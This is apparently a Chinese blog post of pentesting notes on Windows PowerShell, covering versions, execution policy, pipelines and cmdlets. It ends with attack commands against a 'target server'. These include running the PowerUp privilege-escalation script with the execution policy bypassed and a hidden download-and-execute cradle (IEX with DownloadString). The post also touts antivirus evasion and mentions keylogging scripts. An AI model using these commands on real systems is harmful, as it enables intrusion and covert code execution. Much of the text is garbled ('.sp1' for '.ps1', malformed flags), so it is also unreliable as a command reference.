PowerShell使用

发布于 2021-08-06  62 次阅读


什么是Windows PowerShell

它是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows中(Windows7、Windows Server2008R2以及更高版本),为Windos命令行使用者和脚本编写者利用.NET Framework的强大功能遍历。只要可以在一台计算机上运行代码,就可以将PowerShell脚本文件(.ps1)下载到磁盘中执行。可以把PowerShell看做命令提示符cmd.exe的扩展

PowerShell的特点

PowerShell需要.NET环境的支持,同时也支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使他逐渐成为一个非常流行且得力的安全测试工具。

  • 在Windows7以上的版本的操纵系统中是默认安装的
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发杀软
  • 可以远程执行
  • 目前很多工具都是基于PowerShell开发的
  • 使Windows脚本的执行变得更容易
  • cmd.exe的运行通常会被组织,但是PowerShell的运行通常不会被组织
  • 可用于管理活动目录

PowerShell版本

操作系统PowerShell版本是否可升级
Win7 | win server20082.0可以升级为3.0、4.0、5.0
win8 | win server 20123.0可以升级为4.0、5.0
win8.1 | win server 2012R24.0可以升级为5.0
win115.0

可以使用Get_Host或者**$PSVersionTable.PSVERSION**来查看PowerShell版本

PowerShell基本概念

.sp1文件

一个PowerShell脚本起始就是一个简单的文本文件,其扩展名为.sp1。PowerShell搅拌中包含一系列PowerShell命令,每个命令显示为独立的一行。

执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略呗设置为不能运行

如果PowerShell脚本无法运行,可以使用下面cmdlet命令查询当前的执行策略

  • Get-ExecutionPolicy 获取执行策略
    • Resticted:脚本不能运行(默认设置)
    • RemoteSigned:在本地创建的脚本可以运行,但是从网上下载下来的脚本不能运行(拥有数字证书除外)
    • AllSigned:仅当脚本由受信任的发布者签名时才能运行
    • Unrestricted:允许所有脚本运行
  • 可以使用Set-ExecutionPolicy <policy name> 设置执行策略

运行脚本

  • 要运行一个PowerShell脚本,必须输入完整的路径和文件名
    • 假设运行test.sp1,需要输入”C:\Scripts\test.sp1”
  • 但是当PowerShell的执行路径加好在文件目录可以直接使用”.\text.sp1”

管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用”|”进行连接(和Linux一模一样)

例如 get-process p* | stop-process

管道符前面是获取所有P开头的进程,管道符后面是停掉进程。因此这两个命令用管道符连接之后就是:让所有正在运行的、名字以字符“p”开头的程序停止运行

PowerShell常用命令

在PowerShell 下,类似cmd 命令的命令叫作cmdlet 命令。二者的命名规范一致,都采用“动词-名词”的形式,例如“New-ltem”。动词部分一般为Add、New、Get、Remove、Set 等。命令的别名一般兼容Windows Command 和Linux Shell,例如Get-Childltem 命令在dir 和ls 下均可使用。另外,PowerShell命令不区分大小写

# 将PowerUp.sp1 上传至目标服务器,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.sp1
# 将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下
powershell.exe -exec bypass -Command "{Import-Module C:\PowerUp.sp1; Invoke-AllChecks}"
# 从网站服务器中下载脚本,绕过本地权限并隐藏执行
powershell.exe -ExecutionPolicy Bypass-Windowstyle Hidden_NoProfile_NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.sp1");[Parameters]

常用参数说明

  • -ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,PowerShell 的安全策略规定PowerShell 不能运行命令和文件
  • -WindowStyle Hidden(-W Hidden):隐藏窗口
  • -NonInteractive(-NonI):非交互模式。PowerShell 不为用户提供交互式的提示
  • -NoProfile(-NoP):PowerShell 控制台不加载当前用户的配置文件
  • -noexit:执行后不退出Shell。这个参数在使用键盘记录等脚本时非常重要
  • -NoLogo:启动不显示版权标志的PowerShell